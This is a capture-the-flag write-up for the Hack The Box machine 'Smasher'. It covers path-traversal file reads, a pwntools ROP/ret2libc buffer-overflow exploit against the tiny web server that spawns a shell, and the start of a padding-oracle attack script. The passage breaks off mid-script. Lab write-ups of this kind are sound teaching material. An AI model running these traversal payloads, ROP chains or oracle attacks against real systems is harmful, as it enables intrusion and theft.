Blog


HTB{ Smasher }

Nov 24, 2018 | 28 minutes read

Tags: hack the box, ROP, padding oracle, BOF, ret2libc, binary exploitation

Smasher was an awesome box! I had to learn more to complete this box (ROP specifically) than any other on HTB so far.

Strap in, this is a long one.


htb-badge

Scans

As usual, we start off with a masscan followed by a targeted nmap.

masscan

masscan -e tun0 -p0-65535,U:0-65535 --rate 700 -oL "masscan.10.10.10.89.all" 10.10.10.89
open tcp 22 10.10.10.89 1534125997
open tcp 1111 10.10.10.89 1534126060

nmap

nmap -sC -sV -oA nmap.10.10.10.89 10.10.10.89
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a6:23:c5:7b:f1:1f:df:68:25:dd:3a:2b:c5:74:00:46 (RSA)
|   256 57:81:a5:46:11:33:27:53:2b:99:29:9a:a8:f3:8e:de (ECDSA)
|_  256 c5:23:c1:7a:96:d6:5b:c0:c4:a5:f8:37:2e:5d:ce:a0 (ED25519)
1111/tcp open  lmsocialserver?
| fingerprint-strings: 
|   FourOhFourRequest, GenericLines, SIPOptions: 
|     HTTP/1.1 404 Not found
|     Server: shenfeng tiny-web-server
|     Content-length: 14
|     File not found
|   GetRequest, HTTPOptions, RTSPRequest: 
|     HTTP/1.1 200 OK
|     Server: shenfeng tiny-web-server
|     Content-Type: text/html
|     <html><head><style>body{font-family: monospace; font-size: 13px;}td {padding: 1.5px 6px;}</style></head><body><table>
|     <tr><td><a href="index.html">index.html</a></td><td>2018-03-31 00:57</td><td>2.1K</td></tr>
|_    </table></body></html>

nikto

nikto reported back some interesting things regarding path traversal.

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.89
+ Target Hostname:    10.10.10.89
+ Target Port:        1111
-------------8<-------------
+ /%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd: The Web_Server_4D is vulnerable to a directory traversal problem.
+ ///etc/passwd: The server install allows reading of any system file by adding an extra '/' to the URL.
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ /../../../../../../../../../../etc/passwd: It is possible to read files on the server by adding ../ in front of file name.
+ /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd: Web server allows reading of files by sending encoded '../' requests. This server may be Boa (boa.org).
+ OSVDB-3133: ////////../../../../../../etc/passwd: Xerox WorkCentre allows any file to be retrieved remotely.
-------------8<-------------

You could also have found this information on github with a quick google. The first result when searching for shenfeng tiny-web-server (the string nmap gave us) is a link to a GitHub Repository. Opening that up, it appears to be an educational project done by someone while reading along with a programming book. In the same repo, under issues, there is an issue raised that states the server is vulnerable to path traversal.

github-path-traversal-issue

As a simple PoC, we can request wget 10.10.10.89:1111//etc/passwd, cat the file that was downloaded, and see that the server is vulnerable.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
-------------8<-------------

Enumeration via Path Traversal

With path traversal, we can poke around the server pretty easily in the browser. After a few cursory searches, you’ll notice a folder /home/www/tiny-web-server with the following contents.

tiny-web-server-directory

Of note in this directory:

  1. tiny.c - the source code of the web server
  2. Makefile - how the source code was compiled
  3. tiny - the compiled binary

Makefile

Taking a look at the Makefile, we can see that the binary is compiled without any stack protections. This is a clear indicator that the way forward is likely to be binary exploitation.

 1/home/www/tiny-web-server/Makefile
 2════════════════════════════
 3CC = c99
 4CFLAGS = -Wall -O2
 5
 6# LIB = -lpthread
 7
 8all: tiny
 9
10tiny: tiny.c
11	$(CC) $(CFLAGS) -g -fno-stack-protector -z execstack -o tiny tiny.c $(LIB)
12
13clean:
14	rm -f *.o tiny *~

tiny.c

Knowing that the box creator (dzonerzy) likely grabbed the web server from the aforementioned repository, I thought it would be interesting to see what, if anything, he changed in the source code. I checked it out by running a diff on both tiny.c files (dzonerzy’s version on the left, github repo’s version on the right).

diff /root/htb/smasher/tiny.c /root/htb/smasher/tiny-web-server/tiny.c
 1-------------8<-------------
 2>     for(int i = 0; i < 10; i++) {
 3>         int pid = fork();
 4>         if (pid == 0) {         //  child
 5432d421
 6< 		
 7434,437c423
 8< 		if(connfd > -1)  {
 9<                 int res = process(connfd, &clientaddr);
10< 		if(res == 1)
11< 			exit(0);
12---
13>                 process(connfd, &clientaddr);
14439,440d424
15< 		}
16< 		
17441a426,437
18>         } else if (pid > 0) {   //  parent
19>             printf("child pid is %d\n", pid);
20>         } else {
21>             perror("fork");
22>         }
23-------------8<-------------

Aside from putting some identifying strings for nmap to find, dzonerzy removed a loop that forked the server 10 times to handle incoming connections. The removal of the loop simplifies exploitation for us, which is nice.

Exploiting the tiny Binary

The overall strategy we’ll use is one that @ippsec uses in his walk through of the Bitterman challenge from Camp CTF 2015. We’re going to use the write syscall to display the memory address of a function within libc. Once a memory address from libc is known, we can use that to calculate the base address of libc within the binary. After calculating the base address, we can then determine the memory address of the system syscall by its offset relative to libc’s base to then execute /bin/sh. Those are the basic steps we’re about to take.

Information Gathering

Before getting into the meat of the exploitation, it’s important to check a few things. First, we want to check the architecture of the binary and whether or not it is statically or dynamically compiled. We also want to know what exploit protection mechanisms are in place.

To check architecture and static vs. dynamic, a simple file tiny will suffice. As shown below, it is dynamically linked and is a 64-bit binary. The fact that the binary is dynamically linked means that it relies on external libraries to execute.

tiny: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b872377623aa9e081bc7d72c8dbe882f03bf66b7, with debug_info, not stripped

We can check the protections by running the checksec command included in peda, a gdb enhancement script.

gdb -q ./tiny
-------------8<-------------
gdb-peda$ checksec
1CANARY    : disabled
2FORTIFY   : ENABLED
3NX        : disabled
4PIE       : disabled
5RELRO     : Partial

The output above confirms what we saw in the Makefile. The stack does not have the Non-eXecutable flag set, meaning that if we chose to, we could execute shellcode from the stack.

Our only other consideration before we begin is Address Space Layout Randomization (ASLR). ASLR is a protection in the kernel that loads segments of programs at different locations each time a program executes. ASLR was introduced into the kernel as a way to harden the operating system against exploitation. Since we can’t know whether the remote system has ALSR enabled, we’ll assume that it does (the norm is to see distros ship with ASLR on by default).

Proof of Concept

Another google search about possible exploitation of the tiny web server yields a Proof of Concept we can use as a skeleton for our own exploit after confirming that it actually crashes the service.

The PoC is straight forward, it sends 658 X’s in a GET request to the server.

 1import httplib,sys
 2
 3if (len(sys.argv) < 3):
 4	print "\nTiny HTTP Server <=v1.1.9 Remote Crash PoC"
 5        print "\n	Usage: %s <host> <port> \n" %(sys.argv[0])
 6	sys.exit()
 7
 8payload = "X" * 658
 9
10try:
11	print "\n[!] Connecting to %s ..." %(sys.argv[1])
12	httpServ = httplib.HTTPConnection(sys.argv[1] , int(sys.argv[2]))
13	httpServ.connect()
14	print "[!] Sending payload..."
15	httpServ.request('GET', "/" + str(payload))
16	print "[!] Exploit succeed. Check %s if crashed.\n" %(sys.argv[1])
17except:
18	print "[-] Connection error, exiting..."
19
20httpServ.close()
21sys.exit()

To test the PoC we’ll start up tiny using gdb. gdb will allow us to examine the state of the stack and registers when the program (hopefully) crashes.

Window 1 - Run tiny using gdb
════════════════════════════
gdb -q ./tiny
-------------8<-------------
gdb-peda$ r
Starting program: /root/htb/smasher/tiny 
listen on port 9999, fd is 3

Window 2 - grab PoC code and throw it 
════════════════════════════
searchsploit -m 18524
python 18524.py 127.0.0.1 9999

Our PoC successfully crashes the server. We can see that multiple registers contain nothing but X’s. Also, we can see that we’re in control of what gets placed on the stack.

poc-crash

Determine Stack Offset

Armed with a PoC, we can determine the offset to reach the top of the stack. If you’re familiar with 32-bit binary exploitation, it may be surprising that we’re not targeting the instruction pointer, RIP (64-bit equivalent of EIP). We’re going to craft our exploit using Return-Oriented Programming (ROP). More specifically, we’re going to craft a ret2libc exploit.

When using ROP, the goal is to use existing instructions within the binary to perform desirable actions. Those pieces of existing code are known as rop gadgets. Each rop gadget will terminate in a ret instruction. Each ret instruction moves program control to a return address located on the top of the stack. Since we can control what code is placed at the top of the stack with our PoC, we can chain multiple rop gadgets together, because each gadget will move program execution to the start of the next gadget. Essentially, the top of the stack takes the place of our instruction pointer.

For a more detailed look at how ROP is structured, take a Return Oriented Programming (ROP) Exploits Explained. The video discusses Windows exploitation, but the concept of how gadgets control execution via the stack is explained well.

To determine how many bytes of garbage we need to send before we get to the stack, we can utilize the pattern_create.rb script from metasploit to generate a new payload for use in our PoC.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 658

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8A

The only change needed to our PoC is to comment out the payload of 658 X’s and replace it with our newly generated payload.

1#payload = "X" * 658
2payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8A'

When we throw the modified PoC, we want to use gdb/peda to examine the first four characters at the top of the stack. Next, we’ll feed those to the pattern_offset.rb script. This script will tell us how many bytes of junk we need to use in our exploit before we start overwriting the stack, i.e. the offset.

stack-offset

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q s9At
[*] Exact match at offset 568

Ret2PLT

Now that we know how many bytes it takes to reach the stack, we can start placing rop gadgets onto the stack to do our bidding. Our bidding in this case is to perform a Ret2PLT attack in order to leak a memory address from within libc. The question then becomes, which rop gadgets to we need? To answer that, we need to look at x86_64 bit calling conventions to understand the way forward.

x64 Assembly Calling Conventions

To pass parameters to a syscall, up to six registers may be used. They are shown below in the order in which they need to be populated. The syscall number itself is normally stored in rax, however we will just use the memory address of the syscall itself directly.

rdi rsi rdx rcx r8 r9

To actually perform a syscall, we need to populate some of these registers with the arguments we want to pass to the syscall.

The write Syscall

Having looked at calling conventions, let’s make a plan for what we need to put into the registers in order to make a successful call to write. Below, you can see the function definition of write and what we’ll attempt to put into rdi and rsi.

write-syscall-layout

Locate write

To begin building our first ROP chain, we’ll get the address of the write syscall from the Procedure Linkage Table (PLT). The PLT is used to call external procedures/functions whose address isn’t known at the time of linking, and is left to be resolved by the dynamic linker at run time (recall that this binary is dynamically linked). The PLT is used in conjunction with the Global Offset Table (GOT) to implement dynamic linking. For more information on how dynamic libraries work in ELF files, please check out this fantastic post on the subject.

objdump -D tiny | grep write
objdump options used:

    -D, --disassemble-all
        disassemble the contents of all sections, not just those expected to contain instructions.

The results of objdump show that the PLT address of write is 400c50.

0000000000400c50 <write@plt>:
  400c50:	ff 25 e2 23 20 00    	jmpq   *0x2023e2(%rip)        # 603038 <write@GLIBC_2.2.5>

write will be the first value we place onto the stack (this will eventually make it the furthest from the top of the stack after the other registers are setup).

rop-1-1

RDI Setup

We’ll start with finding a gadget for rdi. We’ll use the ropsearch command in peda to locate a gadget. The most direct gadget for getting a value into rdi is a pop rdi, so that’s what we’ll try for first.

gdb -q tiny 

gdb-peda$ break main 
gdb-peda$ run
gdb-peda$ peda ropsearch "pop rdi"
10x004011dd : (b'5fc3')	pop rdi; ret
20x00401202 : (b'5fc3')	pop rdi; ret
30x00401d36 : (b'5fc3')	pop rdi; ret
40x00401ff3 : (b'5fc3')	pop rdi; ret

Success! A pop instruction loads the value from the top of the stack to the location specified and then increments the stack pointer. In our case, we’re specifying rdi as the destination. Simply put, we’ll use this gadget to grab the value at the top of the stack and store it in rdi. Any of the gadgets returned will work, we’ll just use the first one though.

The value we want to pop from the stack into rdi is 0x4. When tiny is run locally, we see the message listen on port 9999, fd is 3 printed to the screen. fd in this case stands for file descriptor. Since we know that the server’s file descriptor at startup is 3, it’s a reasonable assumption that each request to the server increments the file descriptor by one.

Taking rdi and 0x4 into account, our stack will look like this:

rop-1-2

RSI Setup

Next up, we need to search for a gadget that will allow us to get a value into rsi.

gdb-peda$ peda ropsearch "pop rsi"
Searching for ROP gadget: 'pop rsi' in: binary ranges
0x004011db : (b'5e415fc3')	pop rsi; pop r15; ret
0x00401200 : (b'5e415fc3')	pop rsi; pop r15; ret
-------------8<-------------

Success again! We have a pop rsi. The interesting piece here is that our gadget will pull two values off the stack. The first value will go into rsi, the other will to into r15. Luckily, we don’t care about r15 and can just jam some garbage in there.

The value we want to load into rsi is the address of a syscall from the Global Offset Table (GOT). The Global Offset Table is a table of addresses stored in the data section of an ELF binary. It is used by the executed program to locate addresses that aren’t known at compile time (i.e. those that are dynamically linked). In our case we’ll use the read syscall from libc, whose address is located in the GOT, as our value for rsi.

We can locate the address of read the same way we found write.

objdump -D tiny | grep read
0000000000400cf0 <read@plt>:
  400cf0:	ff 25 92 23 20 00    	jmpq   *0x202392(%rip)        # 603088 <read@GLIBC_2.2.5>

With address in hand, we can take another look at our stack.

rop-1-3

Memory Leak Payload

It’s time to go back to our PoC and alter the payload to hopefully see the memory address of read returned to us from tiny. However, instead of altering our original PoC, we’re going to use pwntools for the rest of the exploit. It has a lot of built-in functionality to make our lives easier.

 1import urllib
 2from pwn import * 
 3
 4context.bits = 64
 5context.arch = 'amd64'
 6context.endian = 'little'
 7context.log_level = 'debug'  # increase verbosity!
 8
 9host = '127.0.0.1'
10port = 9999
11
12pop_rsi = p64(0x4011db)
13read_got = p64(0x603088)
14r15_junk = p64(0xdeadbeef)
15pop_rdi = p64(0x4011dd)
16file_descriptor = p64(0x4)
17write_plt = p64(0x400c50)
18
19client = remote(host, port)
20
21# distance to the stack
22payload = 'A' * 568
23
24# our ROP chain as discussed above
25payload += pop_rsi
26payload += read_got
27payload += r15_junk
28payload += pop_rdi
29payload += file_descriptor
30payload += write_plt
31
32url = """GET /{} HTTP/1.1\r\nHost: smasher.htb\r\n\r\n""".format(urllib.quote(payload))
33
34client.send(url)
35
36response = client.recvall()

There’s not a whole lot introduced in the script that hasn’t been discussed already. The p64() function is just converting our memory addresses into little-endian 64-bit values for use in our ROP chain.

The other primay change is is that we’re using urllib.quote to encode our payload so that it plays nicely within the context of an HTTP request.

Running the new exploit script gets us some results.

[+] Opening connection to 127.0.0.1 on port 9999: Done
[DEBUG] Sent 0x2e9 bytes:
    'GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%DB%11%40%00%00%00%00%00%880%60%00%00%00%00%00%EF%BE%AD%DE%00%00%00%00%DD%11%40%00%00%00%00%00%04%00%00%00%00%00%00%00P%0C%40%00%00%00%00%00 HTTP/1.1\r\n'
    'Host: smasher.htb\r\n'
    '\r\n'
[+] Receiving all data: Done (1.39KB)
[DEBUG] Received 0x590 bytes:
    00000000  48 54 54 50  2f 31 2e 31  20 34 30 34  20 4e 6f 74  │HTTP│/1.1│ 404│ Not│
    00000010  20 66 6f 75  6e 64 0d 0a  53 65 72 76  65 72 3a 20  │ fou│nd··│Serv│er: │
    00000020  73 68 65 6e  66 65 6e 67  20 74 69 6e  79 2d 77 65  │shen│feng│ tin│y-we│
    00000030  62 2d 73 65  72 76 65 72  0d 0a 43 6f  6e 74 65 6e  │b-se│rver│··Co│nten│
    00000040  74 2d 6c 65  6e 67 74 68  3a 20 31 34  0d 0a 0d 0a  │t-le│ngth│: 14│····│
    00000050  46 69 6c 65  20 6e 6f 74  20 66 6f 75  6e 64 c0 d1  │File│ not│ fou│nd··│
    00000060  e4 45 cc 7f  00 00 30 6a  d8 45 cc 7f  00 00 16 0d  │·E··│··0j│·E··│····│
    00000070  40 00 00 00  00 00 26 0d  40 00 00 00  00 00 70 aa  │@···│··&·│@···│··p·│
    00000080  d9 45 cc 7f  00 00 46 0d  40 00 00 00  00 00 00 07  │·E··│··F·│@···│····│
-------------8<-------------
[*] Closed connection to 127.0.0.1 port 9999

It seems that we’re getting more than a standard 404 returned to us. The standard 404 response ends with the string File not found. We can utilize the .recvuntil() function within pwntools to skip ahead in the response. Let’s use that and then examine the 8 bytes after the response to check whether or not looks like a memory address.

client.recvuntil("File not found")
response = client.recv()

leak = response[:8]
print repr(leak)

And we’re greeted with something that looks suspiciously like a memory address (albeit still in little endian).

-------------8<-------------
'P\x02\x06\xf9&\x7f\x00\x00'
-------------8<-------------

We can clean up those last few lines and use the u64() function to unpack the memory address we snagged from the repsonse.

38client.recvuntil("File not found")  # read up to the end of the normal 404 response
39response = client.recv()  # read the additional response data created by our exploit
40
41leak = response[:8]  # the leaked memory address 
42read_address = u64(leak)  # unpack it from little endian
43
44log.success("read address is: {}".format(hex(read_address)))  # prettify it
45
46# tear down leak connection
47client.close()  
[+] read address is: 0x7fcc45e4d1c0

We have successfully leaked the memory address of the read syscall. If you restart tiny and throw the exploit again locally, you can see that the address changes each time the process is restarted, but we’re able to capture it each time.

[+] read address is: 0x7f54aa15b1c0
... restart ...
[+] read address is: 0x7f0b788a81c0
... restart ...
[+] read address is: 0x7fc20d39c1c0

Ret2libc

Now that we have an address into libc, the randomised (ASLR) libc base address can be calculated. Once we know what the base address is, the address of any function in libc can be calculated by its offset and used in our next ROP chain. We’ll leverage that to execute the system syscall, which is a part of libc. Additionally, for this ROP chain, we’re going to harness the power of pwntools to show how some of our earlier manual steps can be simplified.

Calculate libc Base Address

Let’s begin by grabbing the target’s version of libc, since that is what the tiny web server on smasher will be using when we throw our exploit.

wget http://10.10.10.89:1111//lib/x86_64-linux-gnu/libc.so.6 -O targets-libc

Now we can start piecing together what we need to get libc’s base address for use in calculating offsets. Let’s grab the address of read from within libc (not to be confused with the address of read from within tiny, which is what we just leaked above).

readelf -s targets-libc | grep read
-------------8<-------------
   891: 00000000000f7250    90 FUNC    WEAK   DEFAULT   13 read@@GLIBC_2.2.5
readelf options used:

    -s, --symbols, --syms
        Displays the entries in symbol table section of the file, if it has one.

We’ll use that address to calculate the base address of libc.

46client.close()  # tear down leak connection
47
48libc_read = 0x0f7250
49
50# gets offset that will be constant for all other libc functions
51offset = read_address - libc_read 
52log.info("base libc address is: {}".format(hex(offset)))

Finding libc Functions

Next, we need to determine the address of a few functions we’re interested in as well as the string /bin/sh. As seen earlier, we’ll be using the target’s libc to find these addresses. First up, we’ll check out a manual way to get those addresses.

-------------8<-------------
readelf -s targets-libc | grep system
  1351: 0000000000045390    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5
-------------8<-------------
readelf -s targets-libc | grep dup2
   962: 00000000000f7970    33 FUNC    WEAK   DEFAULT   13 dup2@@GLIBC_2.2.5
-------------8<-------------
strings -t x targets-libc | grep /bin/sh
   18cd57 /bin/sh
strings options used:

    -t radix
        Print the offset within the file before each string.  The single character argument 
        specifies the radix of the offset 
            o for octal
            x for hexadecimal 
            d for decimal

We can get the same results with the following code using pwntools’ ELF class. However, in order to make the addresses usable, we need to update the libc variable’s base address to be that of our calculated offset. Doing this allows us to seamlessly use all of the addresses we pull out of the targets-libc later in our code.

NOTE: Special thanks to the awesome @elkement are in order for pointing out that I forgot to include this small but crucial detail in the write-up!

Having set the base address in the libc variable, future uses of the addresses will be equivalent to offset + address.

54libc = ELF('./targets-libc')
55
56libc.address = offset
57
58libc_read = libc.sym.read                   # 0x0f7250
59libc_system = libc.sym.system               # 0x045390
60libc_dup2 = libc.sym.dup2                   # 0x0f7970
61libc_binsh = next(libc.search("/bin/sh"))   # 0x18cd57

ROP Chain #2

It’s time to build out another ROP chain. Here’s where the magic of pwntools really ramps up.

Calling dup2

Executing /bin/sh won’t do us much good if our file descriptors don’t send and receive data. We can use dup2 to get our file descriptors situated.

Here is the prototype for dup2. The dup2() system call creates a copy of the file descriptor oldfd using the file descriptor number specified in newfd as its target.

int dup2(int oldfd, int newfd);

We’re going to lean on the pwntools ROP class and some of its methods to easily setup our dup2 calls.

63tiny = ELF('./tiny')
64rop = ROP(tiny)
65
66rop.call(libc_dup2, [0x4, 0x0])  # STDIN
67rop.call(libc_dup2, [0x4, 0x1])  # STDOUT
68rop.call(libc_dup2, [0x4, 0x2])  # STDERR

That’s it! A quote from the docs enlightens us a little bit as to what’s going on, but essentially, the act of setting up our own ROP chain is abstracted away. Each rop.call takes the function we want to call and the arguments we want to pass to that function.

For amd64 binaries, the registers are loaded off the stack. Pwntools can do basic reasoning about simple “pop; pop; add; ret”-style gadgets, and satisfy requirements so that everything “just works”.

By including a print rop.dump() in our code, we can view the gadgets generated as a result of our three calls to rop.call().

0x0000:         0x4011db pop rsi; pop r15; ret
0x0008:              0x0 [arg1] rsi = 0
0x0010:       'eaaafaaa' <pad r15>
0x0018:         0x4011dd pop rdi; ret
0x0020:              0x4 [arg0] rdi = 4
0x0028:   0x7f06c4725970
0x0030:         0x4011db pop rsi; pop r15; ret
0x0038:              0x1 [arg1] rsi = 1
0x0040:       'qaaaraaa' <pad r15>
0x0048:         0x4011dd pop rdi; ret
0x0050:              0x4 [arg0] rdi = 4
0x0058:   0x7f06c4725970
0x0060:         0x4011db pop rsi; pop r15; ret
0x0068:              0x2 [arg1] rsi = 2
0x0070:       'daabeaab' <pad r15>
0x0078:         0x4011dd pop rdi; ret
0x0080:              0x4 [arg0] rdi = 4
0x0088:   0x7f06c4725970

Calling system

For reference, here is the system syscall prototype. The system() syscall uses fork to create a child process that executes the shell command specified in command using execl.

int system(const char *command);

Let’s magic ourselves up the rest of our ROP chain.

70rop.call(libc_system, [libc_binsh])

Final Payload

To finish things out, we’ll use pwntools’ fit function. fit is inserting our final ROP chain at the offset 568, ezpz.

72payload = fit({568: rop.chain()})
73
74url = """GET /{} HTTP/1.1\r\nHost: secnotes.htb\r\n\r\n""".format(urllib.quote(payload))
75
76client = remote(host, port)
77client.send(url)
78client.recvuntil("File not found")
79client.interactive()
80client.close()

With everything in place, we can throw our exploit at the server. If all goes well, we’ll get an interactive shell on the box.

[*] Ret2PLT
[+] Opening connection to 10.10.10.89 on port 1111: Done
[+] read address is: 0x7fc0e22ca250
[*] Closed connection to 10.10.10.89 port 1111
[*] Ret2libc
[*] '/root/htb/smasher/wgettest/targets-libc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/root/htb/smasher/wgettest/tiny'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
    FORTIFY:  Enabled
[*] base libc address is: 0x7fc0e21d3000
[*] Loaded cached gadgets for './tiny'
0x0000:         0x4011db pop rsi; pop r15; ret
0x0008:              0x0 [arg1] rsi = 0
0x0010:       'eaaafaaa' <pad r15>
0x0018:         0x4011dd pop rdi; ret
0x0020:              0x4 [arg0] rdi = 4
0x0028:   0x7fc0e22ca970
0x0030:         0x4011db pop rsi; pop r15; ret
0x0038:              0x1 [arg1] rsi = 1
0x0040:       'qaaaraaa' <pad r15>
0x0048:         0x4011dd pop rdi; ret
0x0050:              0x4 [arg0] rdi = 4
0x0058:   0x7fc0e22ca970
0x0060:         0x4011db pop rsi; pop r15; ret
0x0068:              0x2 [arg1] rsi = 2
0x0070:       'daabeaab' <pad r15>
0x0078:         0x4011dd pop rdi; ret
0x0080:              0x4 [arg0] rdi = 4
0x0088:   0x7fc0e22ca970
0x0090:         0x4011dd pop rdi; ret
0x0098:   0x7fc0e235fd57 [arg0] rdi = 140466405637463
0x00a0:   0x7fc0e2218390
[+] Opening connection to 10.10.10.89 on port 1111: Done
[*] Switching to interactive mode
$ id
uid=1000(www) gid=1000(www) groups=1000(www)

\o/ - access level: www

As a side note, we can see that ASLR was enabled. Our exploit bypassed ASLR on the target. Highfive!

cat /proc/sys/kernel/randomize_va_space
2

www to smasher

Finding the Oracle

Looking at the running processes on the box, we’re greeted with the following.

sudo -u smasher /home/smasher/socat.sh
\_ bash /home/smasher/socat.sh
   \_ socat TCP-LISTEN:1337,reuseaddr,fork,bind=127.0.0.1 EXEC:/usr/bin/python /home/smasher/crackme.py

To dial into the box on localhost, I setup a socat listener.

./socat tcp-listen:1337,fork,reuseaddr tcp:127.0.0.1:1337 &

Connecting to our socat listener on 1337, we see the folowing.

[*] Welcome to AES Checker! (type 'exit' to quit)
[!] Crack this one: irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0OXPbfgRm+l9xHkPQ7r7NdFjo6hSo6togqLYITGGpPsXdg==
Insert ciphertext: 

A few random entries show this result:

Generic error, ignore me!

After a little bit of simple fuzzing, we see this (reproducible with 64 A’s):

Invalid Padding!

Based on those two messages, it appears that we’re dealing with a padding oracle.

Padding Oracle Attack

All that’s really needed for a Padding Oracle Attack to succeed (in addition to a vulnerable program) is the ability to determine the difference between valid and invalid padding. If you can elicit both of those responses from the vulnerable program, you’re good to go. Fortunately for us, we’ve already seen both of those responses.

Exploit Script

When most CTF junkies hear padding oracle, they think of padbuster. In this particular situation, we’re not dealing with HTTP, so padbuster won’t be of use to us. We need something a bit more flexible, such as python-paddingoracle!

Taking the example from the README in the github repository, all we need to do is alter the example to make our subclass of PaddingOracle understand what is and is not an invalid padding response from the server.

I added a few other options and improvements to the example to ease testing during development. You can see the implementation below and at my repo HTB Scripts for Retired Boxes.

 1from __future__ import print_function
 2
 3import socket
 4import logging
 5import argparse
 6
 7from base64 import b64encode, b64decode
 8from urllib import quote, unquote
 9
10from paddingoracle import BadPaddingException, PaddingOracle
11
12BUFLEN = 256
13
14
15class PadBuster(PaddingOracle):
16    def __init__(self, args, **kwargs):
17        super(PadBuster, self).__init__(**kwargs)
18        self.args = args
19
20    def oracle(self, data, **kwargs):
21        attempt = b64encode(data)
22
23        sock = socket.create_connection((self.args.target, self.args.port))
24
25        resp = ""
26        while True:
27            if 'Insert ciphertext' in resp:
28                break
29            resp = sock.recv(BUFLEN)
30
31        sock.send(attempt + '\n')
32
33        resp = sock.recv(BUFLEN)
34
35        if 'Invalid Padding' in resp:
36            raise BadPaddingException
37
38        logging.debug('Got one: {}'.format(attempt))
39
40
41if __name__ == '__main__':
